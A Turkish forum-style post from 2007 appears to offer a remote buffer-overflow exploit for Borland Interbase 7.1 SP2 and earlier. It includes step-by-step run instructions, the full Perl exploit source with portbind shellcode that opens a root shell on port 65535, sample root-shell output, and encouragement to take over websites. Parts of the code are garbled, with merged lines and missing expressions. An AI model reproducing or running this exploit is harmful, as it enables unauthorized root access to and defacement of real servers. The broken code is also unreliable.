şimdi delphi kullananlar interbase bilirler adamlar oturmuş bunu exploitini yazmış ama size bu çok boş gelebelir şimdlik.. ilk bi shell edinin yada linuxnuz varsa verceğim kodu çalıtştırcazaşağıdaki kodu ilk 1- pico base. pl deyin içine kopyalayın2- perl base. pl dersen exploit çalışır3- perl base. pl -h localhost -t 0şimdi localhost demiş kaynak kodunda adam kendi linunda denemiş ve sheeline düşmüş demekki çalışıyo ispatlamış yani -t 0 felam yazıyo target demek oluyo orada target listen interbasein versionuu seçin ve sayıyı girin sonra okeyleyinve ble bişeyler olucak -- burda -t 0 demiş grdünğünüz gibi ve localhostta shelle düşmüş ve yetkiniz 0 yani root siteleri emebilirsiniz artık Using target 0: Linux Interbase 7.1 SP 2# Sending first buffer... d0ne!# Waiting... Got awnser!# Sending final hit... Done!# Enjoy your stay on this server =)## Welcome to 'localhost' ## Linux localhost 2.4.21-0.27mdk #1 Wed Jan 7 03:44:18 MST 2004 i686 unknown# unknown GNU/Linux# uid=0 gid=0 groups=0 kaynak kodu#!/usr/bin/perl# Priv8security com remote exploit for Borland Interbase 7.1 SP 2 and lower# Public Version!!!## Bug found by Aviram Jenik www.securiteam.com unixfocus 5AP0P0UCUO.html## $ perl priv8ibserverb. pl -h localhost -t 0## -= =-## Using target 0: Linux Interbase 7.1 SP 2# Sending first buffer... d0ne!# Waiting... Got awnser!# Sending final hit... Done!# Enjoy your stay on this server =)## Welcome to 'localhost' ## Linux localhost 2.4.21-0.27mdk #1 Wed Jan 7 03:44:18 MST 2004 i686 unknown# unknown GNU/Linux# uid=0 gid=0 groups=0 #use IO::Socket;use Getopt::Std; getopts ;if (defined { $host = $args ; }if (defined { $port = $args ; }else if (defined { $target = $args ; }else if (defined { $offset = $args ; }else print "\n-= =-\n\n";if(! defined $shellcode = # portbind 65535 by Ramon de Carvalho priv8security.com"\x31\xdb\xf7\xe3\x53\x43\x53\x6a"."\x02\x89\xe1\xb0\x66\xcd\x80\xff"."\x49\x02\x6a\x10\x51\x50\x89\xe1"."\x43\xb0\x66\xcd\x80\x89\x41\x04"."\xb3\x04\xb0\x66\xcd\x80\x43\xb0"."\x66\xcd\x80\x59\x93\xb0\x3f\xcd"."\x80\x49\x79\xf9\x68\x2f\x2f\x73"."\x68\x68\x2f\x62\x69\x6e\x89\xe3"."\x52\x53\x89\xe1\xb0\x0b\xcd\x80";if ( $target "0" ) if ( $target "1" ) if ( $target "2" ) $new_ret = pack('l', ;# Request buffer$buffer = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00"."\x00\x24\x00\x00\x01\x4e"."A" x 334."\x00\x00\x00\x00\x00\x04\x00\x00\x00\x10\x01\x05"."\x61\x6c\x69\x6d\x61\x04\x05\x6c\x69\x6e\x75\x78\x06\x00\x00\x00"."\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00"."\x00\x02\x00\x00\x00\x08\x00\x00\x00\x24\x00\x00\x00\x02\x00\x00"."\x00\x04\x00\x00\x00\x03\x00\x00\x00\x0a\x00\x00\x00\x01\x00\x00"."\x00\x02\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x0a\x00\x00"."\x00\x24\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x05";# This buffer is for 7.1 version, its a simple classic overflow.$buffer2 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x2c"."A" x 152. $new_ret. "\x90" x (144 - length . $shellcode."\x00\x00\x00\x00"."\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x74\x5a\x72\x64\x6d"."\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";# This buffer is for 6.01, a little tricky to exploit.$buffer3 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x4e"."\x90" x (128 - length . $shellcode.$new_ret x 2. "\xf8\xfd\xff\xbf" . "\x90" x (180 - length . $shellcode."\xf0\x3a\x1e\x08"."AAAAAAAAAA"."\x00\x00\x00\x00"."\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x7a\x5a\x72\x64\x6d"."\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";$sock = IO::Socket::INET->new or die " Cant Connect!!\n";print STDERR " Using target $target: $desc\n";print STDERR " Sending first buffer...";$sock->send ;print STDERR " d0ne!\n";print STDERR " Waiting... ";$sock->recv($text,128);if print STDERR " Sending final hit... ";if else print STDERR "Done!\n";sleep(3);$sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host, PeerPort=>65535, Type=>SOCK_STREAM, Reuse=>1)or die " No luck, try other offset next time ok.\n";print " Enjoy your stay on this server =)\n";$sc->autoflush(1);print $sc "echo;echo \" Welcome to '`hostname -s`' \"\n";print $sc "echo;uname -a;id;echo\n";die "cant fork: $!" unless defined($pid = fork ;if {while(defined kill ;}else{while(defined }close ;print "Good bye!!\n"; Ir4DeX Security Group 2007